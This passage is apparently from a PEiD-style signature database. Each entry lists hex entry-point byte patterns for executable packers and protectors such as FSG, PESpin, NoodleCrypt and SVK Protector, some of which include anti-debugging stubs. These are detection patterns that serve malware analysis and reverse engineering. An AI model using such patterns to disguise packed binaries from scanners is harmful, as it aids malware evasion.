2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB 27 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 07 74 EF FE 07 75 06 47 FF 37 AF EB 09 FE 07 0F 84 1A ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1B ?? ?? 00 00 00 00 00 00 00 00 00 -ep_only = true - -[FSG v1.30 (Eng) -> dulek/xt] -signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 -ep_only = true - -[FSG v1.31 (Eng) -> dulek/xt] -signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 97 33 C9 41 FF D3 13 C9 FF D3 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 5B 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 58 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 89 06 AD 85 C0 75 D9 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 88 01 00 00 -ep_only = true - -[FSG v1.33 (Eng) -> dulek/xt] -signature = BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 9D 8B D6 5E AD 48 74 0A 79 02 AD 50 56 8B F2 97 EB 87 AD 93 5E 46 AD 97 56 FF 13 95 AC 84 C0 75 FB FE 0E 74 F0 79 05 46 AD 50 EB 09 FE 0E 0F 84 ?? ?? ?? FF 56 55 FF 53 04 AB EB E0 33 C9 41 FF 13 13 C9 FF 13 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 54 01 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 01 00 00 6F 01 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = true - -[NoodleCrypt v2.00 (Eng) -> NoodleSpa] -signature = EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02 04 00 00 EB 01 9A E8 19 07 00 00 EB 01 9A E8 9C 00 00 00 EB 01 9A E8 9C 06 00 00 E8 00 00 00 00 0F 7E F8 EB 01 9A 8B F8 C3 E8 00 00 00 00 58 EB 01 9A 25 00 F0 FF FF 8B F8 EB 01 9A 0F 6E F8 C3 8B D0 EB 01 9A 81 C2 C8 00 00 00 EB 01 9A B9 00 17 00 00 EB 01 9A C0 0A 06 EB 01 9A 80 2A 15 EB 01 9A 42 E2 EE 0F 6E C0 EB 01 9A 0F 7E C0 EB 01 9A 8B D0 00 85 EB A5 F5 65 4B 45 45 00 85 EB B3 65 07 45 45 00 85 EB 75 C7 C6 00 85 EB 65 CF 8A 00 85 EB D5 FD C0 00 85 EB 7F E5 05 05 05 00 85 EB 7F 61 06 45 45 00 85 EB 7F -ep_only = true - -[PassLock 2000 v1.0 (Eng) -> Moonlight-Software] -signature = 55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24 2C 01 00 00 00 74 05 0F B7 44 24 30 83 C4 44 89 43 56 FF 15 D0 61 40 00 E8 9E 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 6A 00 FF 15 E4 61 40 00 89 43 5C E8 F9 00 00 00 E8 AA 00 00 00 B8 FF 00 00 00 72 0D 53 E8 96 00 00 00 5B FF 4B 10 FF 4B 18 5F 5E 5B 5D 50 FF 15 C8 61 40 00 C3 83 7D 0C 01 75 3F E8 81 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 FF 15 D0 61 40 00 E8 3A 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 8B 45 08 89 43 5C E8 9A 00 00 00 E8 4B 00 00 00 72 11 66 FF 43 5A 8B 45 0C 89 43 60 53 -ep_only = true - -[PESpin v0.3 (Eng) -> cyberbob] -signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00 -ep_only = true - -[PeX v0.99 (Eng) -> bart/CrackPl] -signature = E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 50 65 58 20 28 63 29 20 62 79 20 62 61 72 74 5E 43 72 61 63 6B 50 6C 20 62 65 74 61 20 72 65 6C 65 61 73 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 60 E8 01 00 00 -ep_only = true - -[Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven] -signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00 04 00 00 52 6A 00 51 50 FF 95 08 7A 00 00 5D 8D B5 3F 78 00 00 6A 00 6A 00 6A 00 56 FF 95 0C 7A 00 00 0B C0 0F 84 FE 00 00 00 56 FF 95 10 7A 00 00 56 FF 95 14 7A 00 00 80 BD 3E 78 00 00 00 74 D4 33 D2 8B BD 3E 77 00 00 8D 85 1D 02 00 00 89 85 42 77 00 00 8D 85 49 02 00 00 89 85 46 77 00 00 8D 85 EB 75 00 00 89 85 4A 77 00 00 8B 84 D5 24 76 00 00 03 F8 8B 8C D5 28 76 00 00 3B 85 36 77 00 00 60 74 1F 8D B5 BD 02 00 00 FF D6 85 D2 75 11 60 87 FE 8D BD 15 78 00 00 B9 08 00 00 00 F3 A5 61 EB 15 8D 85 9F 02 00 -ep_only = true - -[SVK Protector v1.32 (Eng) -> Pavol Cerven] -signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = true - -[SVK Protector v1.3x (Eng) -> Pavol Cerven] -signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = true - -[Video-Lan-Client -> (UnknownCompiler)] -signature = 55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = 03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE EB 02 CD 20 57 EB 02 CD 20 5A 88 10 EB 02 CD 20 40 E8 02 00 00 00 C5 62 5A 4E E8 01 00 00 00 43 5A 2B DB 3B F3 75 B1 C1 F3 0D 92 B8 DC 0C 4E 0D B7 F7 0A 39 F4 B5 ?? ?? 36 FF 45 D9 FA FB FE FD FE CD 6B FE 82 0D 28 F3 B6 A6 A0 71 1F BA 92 9C EE DA FE 0D 47 DB 09 AE DF E3 F6 50 E4 12 9E C8 EC FB 4D EA 77 C9 03 75 E0 D2 D6 E5 E2 8B 41 B6 41 FA 70 B0 A0 AB F9 B5 C0 BF ED 78 25 CB 96 E5 A8 A7 AA A0 DC 5F 73 9D 14 F0 B5 6A 87 B7 3B E5 6D 77 B2 45 8C B9 96 95 A0 DC A2 1E 9C 9B 11 93 08 83 9B F8 9E 0A 8E 10 F7 85 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3 EB 02 42 C0 EB 01 08 88 16 80 F1 98 80 C9 28 46 91 EB 02 C0 55 4B EB 01 55 34 44 0B DB 75 AD E8 01 00 00 00 9D 59 0B C6 EB 01 6C E9 D2 C3 82 C2 03 C2 B2 82 C2 00 ?? ?? 7C C2 6F DA BC C2 C2 C2 CC 1C 3D CF 4C D8 84 D0 0C FD F0 42 77 0D 66 F1 AC C1 DE CE 97 BA D7 EB C3 AE DE 91 AA D5 02 0D 1E EE 3F 23 77 C4 01 72 12 C1 0E 1E 14 82 37 AB 39 01 88 C9 DE CA 07 C2 C2 C2 17 79 49 B2 DA 0A C2 C2 C2 A9 EA 6E 91 AA 2E 03 CF 7B 9F CE 51 FA 6D A2 AA 56 8A E4 C2 C2 C2 07 C2 47 C2 C2 17 B8 42 C6 8D 31 88 45 BA 3D 2B BC -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)] -signature = 03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB 02 F0 49 C1 F6 09 88 0B F7 DE 0F B6 F2 43 EB 02 CD 20 C1 E7 0A 48 EB 01 89 C1 E7 14 2B FF 3B C7 75 A8 E8 01 00 00 00 81 5F F7 D7 D9 EE 1F 5E 1E DD 1E 2E 5E 1E DC ?? ?? 5E 1E 71 06 28 1E 1E 1E 20 F0 93 23 A8 34 64 30 F0 E1 D0 9E 51 F9 C2 D1 20 1D 32 42 91 16 51 E7 1D 32 42 91 36 51 DE 1D 32 42 91 3F D1 20 5F CE 2E 1D 32 42 30 DE 91 17 93 5D C8 09 FA 06 61 1E 1E 1E 49 E9 93 2E 06 56 1E 1E 1E 09 46 CA EF 06 92 5F 31 E7 09 3A AF 66 DF FE 26 CA 06 40 1E 1E 1E 5B 1E 9B 1E 1E 91 28 9E 1A 23 91 24 A1 16 9D 95 20 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)] -signature = 33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE 58 80 EA 33 C1 E1 12 32 D3 48 80 C2 26 EB 02 CD 20 88 16 F7 D8 46 EB 01 C0 4B 40 8D 0D 00 00 00 00 3B D9 75 B7 EB 01 14 EB 01 0A CF C5 93 53 90 DA 96 67 54 8D CC ?? ?? 51 8E 18 74 53 82 83 80 47 B4 D2 41 FB 64 31 6A AF 7D 89 BC 0A 91 D7 83 37 39 43 50 A2 32 DC 81 32 3A 4B 97 3D D9 63 1F 55 42 F0 45 32 60 9A 28 51 61 4B 38 4B 12 E4 49 C4 99 09 47 F9 42 8C 48 51 4E 70 CF B8 12 2B 78 09 06 07 17 55 D6 EA 10 8D 3F 28 E5 02 0E A2 58 B8 D6 0F A8 E5 10 EB E8 F1 23 EF 61 E5 E2 54 EA A9 2A 22 AF 17 A1 23 97 9A 1C -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = 0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27 EB 02 82 53 EB 02 CD 20 87 FA 88 10 80 F3 CA EB 02 CD 20 40 03 D7 0B D0 4E 1B D2 EB 02 CD 20 2B D2 3B F2 75 AC F7 DA 80 C3 AF 91 1C 31 62 A1 61 20 61 71 A1 61 1F ?? ?? ?? 61 B4 49 6B 61 61 61 63 33 D6 66 EB 77 A7 73 33 24 13 E1 94 3C 05 14 63 60 75 85 D4 59 94 2A 60 75 85 D4 79 94 21 60 75 85 D4 82 14 63 A2 11 71 60 75 85 73 21 D4 5A D6 A0 0B 4C 3D 49 A4 61 61 61 8C 2C D6 71 49 99 61 61 61 4C 89 0D 32 49 D5 A2 74 2A 4C 7D F2 A9 22 41 69 0D 49 83 61 61 61 9E 61 DE 61 61 D4 6B E1 5D 66 D4 67 E4 59 E0 D8 63 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA 73 8B CF 81 C2 96 44 EB 04 EB 02 CD 20 88 16 E8 02 00 00 00 44 A2 59 46 E8 01 00 00 00 AD 59 4B 80 C1 13 83 FB 00 75 B2 F7 D9 96 8F 80 4D 0C 4C 91 50 1C 0C 50 8A ?? ?? ?? 50 E9 34 16 50 4C 4C 0E 7E 9B 49 C6 32 02 3E 7E 7B 5E 8C C5 6B 50 3F 0E 0F 38 C8 95 18 D1 65 11 2C B8 87 28 C3 4C 0B 3C AC D9 2D 15 4E 8F 1C 40 4F 28 98 3E 10 C1 45 DB 8F 06 3F EC 48 61 4C 50 50 81 DF C3 20 34 84 10 10 0C 1F 68 DC FF 24 8C 4D 29 F5 1D 2C BF 74 CF F0 24 C0 08 2E 0C 0C 10 51 0C 91 10 10 81 16 D0 54 4B D7 42 C3 54 CB C9 4E -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)] -signature = 1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13 D6 83 C7 32 F7 DA 03 FE EB 02 CD 20 87 FA 88 10 EB 02 CD 20 40 E8 02 00 00 00 F1 F8 5B 4E 2B D2 85 F6 75 AF EB 02 DE 09 EB 01 EF 34 4A 7C BC 7D 3D 7F 90 C1 82 41 ?? ?? ?? 87 DB 71 94 8B 8C 8D 90 61 05 96 1C A9 DA A7 68 5A 4A 19 CD 76 40 50 A0 9E B4 C5 15 9B D7 6E A5 BB CC 1C C2 DE 6C AC C2 D3 23 D2 65 B5 F5 65 C6 B6 CC DD CC 7B 2F B6 33 FE 6A AC 9E AB 07 C5 C6 C7 F3 94 3F DB B4 05 CE CF D0 BC FA 7F A5 BD 4A 18 EB A2 C5 F7 6D 25 9F BF E8 8D CA 05 E4 E5 E6 24 E8 66 EA EB 5F F7 6E EB F5 64 F8 76 EC 74 6D F9 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)] -signature = 0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01 F7 2B FE EB 01 7F 81 EF DF 30 90 1E EB 02 CD 20 87 FA 88 10 80 EA 03 40 EB 01 20 4E EB 01 3D 83 FE 00 75 A2 EB 02 CD 20 EB 01 C3 78 73 42 F7 35 6C 2D 3F ED 33 97 ?? ?? ?? 5D F0 45 29 55 57 55 71 63 02 72 E9 1F 2D 67 B1 C0 91 FD 10 58 A3 90 71 6C 83 11 E0 5D 20 AE 5C 71 83 D0 7B 10 97 54 17 11 C0 0E 00 33 76 85 33 3C 33 21 31 F5 50 CE 56 6C 89 C8 F7 CD 70 D5 E3 DD 08 E8 4E 25 FF 0D F3 ED EF C8 0B 89 A6 CD 77 42 F0 A6 C8 19 66 3D B2 CD E7 89 CB 13 D7 D5 E3 1E DF 5A E3 D5 50 DF B3 39 32 C0 2D B0 3F B4 B4 43 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)] -signature = 23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA 33 0F B6 C9 0F BE 0E 88 16 EB 01 5F EB 01 6B 46 EB 01 6D 0F BE C0 4B EB 02 CD 20 0F BE C9 2B C9 3B D9 75 B0 EB 01 99 C1 C1 05 91 9D B2 E3 22 E2 A1 E2 F2 22 E2 A0 ?? ?? ?? E2 35 CA EC E2 E2 E2 E4 B4 57 E7 6C F8 28 F4 B4 A5 94 62 15 BD 86 95 E4 E1 F6 06 55 DA 15 AB E1 F6 06 55 FA 15 A2 E1 F6 06 55 03 95 E4 23 92 F2 E1 F6 06 F4 A2 55 DB 57 21 8C CD BE CA 25 E2 E2 E2 0D AD 57 F2 CA 1A E2 E2 E2 CD 0A 8E B3 CA 56 23 F5 AB CD FE 73 2A A3 C2 EA 8E CA 04 E2 E2 E2 1F E2 5F E2 E2 55 EC 62 DE E7 55 E8 65 DA 61 59 E4 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)] -signature = C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6 EB 02 56 7B 2A D3 E8 01 00 00 00 ED 58 88 16 13 C3 46 EB 02 CD 20 4B EB 02 CD 20 2B C9 3B D9 75 A1 E8 02 00 00 00 D7 6B 58 EB 00 9E 96 6A 28 67 AB 69 54 03 3E 7F ?? ?? ?? 31 0D 63 44 35 38 37 18 87 9F 10 8C 37 C6 41 80 4C 5E 8B DB 60 4C 3A 28 08 30 BF 93 05 D1 58 13 2D B8 86 AE C8 58 16 A6 95 C5 94 03 33 6F FF 92 20 98 87 9C E5 B9 20 B5 68 DE 16 4A 15 C1 7F 72 71 65 3E A9 85 20 AF 5A 59 54 26 66 E9 3F 27 DE 8E 7D 34 53 61 F7 AF 09 29 5C F7 36 83 60 5F 52 92 5C D0 56 55 C9 61 7A FD EF 7E E8 70 F8 6E 7B EF -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] -signature = 2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80 EA 0F E8 01 00 00 00 64 59 02 D3 EB 02 D6 5C 88 16 EB 02 CD 20 46 E8 02 00 00 00 6B B5 59 4B 0F B7 C6 0B DB 75 B1 EB 02 50 AA 91 44 5C 90 D2 95 57 9B AE E1 A4 65 ?? ?? ?? B3 09 A1 C6 BF C2 C5 CA 9D 43 D6 5E ED 20 EF B2 A6 98 69 1F CA 96 A8 FA FA 12 25 77 FF 3D D6 0F 27 3A 8C 34 52 E2 24 3C 4F A1 52 E7 39 7B ED 50 42 5A 6D 5E 0F C5 4E CD 9A 08 4C 40 4F AD 6D 70 73 A1 44 F1 8F 6A BD 88 8B 8E 7C BC 43 6B 85 14 E4 B9 72 97 CB 43 FD 79 9B C6 6D AC E9 CA CD D0 10 D6 56 DC DF 55 EF 68 E7 F3 64 FA 7A F2 7C 77 05 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] -signature = 0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB EE 90 14 2C 77 2A D3 EB 01 87 2A D3 E8 01 00 00 00 92 59 88 16 EB 02 52 08 46 EB 02 CD 20 4B 80 F1 C2 85 DB 75 AE C1 E0 04 EB 00 DA B2 82 5C 9B C7 89 98 4F 8A F7 ?? ?? ?? B1 4D DF B8 AD AC AB D4 07 27 D4 50 CF 9A D5 1C EC F2 27 77 18 40 4E A4 A8 B4 CB 9F 1D D9 EC 1F AD BC 82 AA C0 4C 0A A2 15 45 18 8F BB 07 93 BE C0 BC A3 B0 9D 51 D4 F1 08 22 62 96 6D 09 73 7E 71 A5 3A E5 7D 94 A3 96 99 98 72 B2 